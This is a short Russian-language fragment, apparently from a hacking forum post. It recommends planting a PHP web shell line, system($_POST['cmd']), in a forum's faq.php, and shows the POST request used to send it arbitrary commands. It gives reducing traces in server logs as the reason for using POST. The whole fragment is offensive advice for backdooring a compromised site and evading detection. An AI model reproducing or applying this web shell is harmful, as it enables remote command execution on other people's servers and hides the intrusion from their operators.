А лучше system($_POST["cmd"]);

так меньше следов будет в ЛОгах тогда Получим запрос:

www.xz.сom/forumpath/faq.php?
POST: cmd=[command]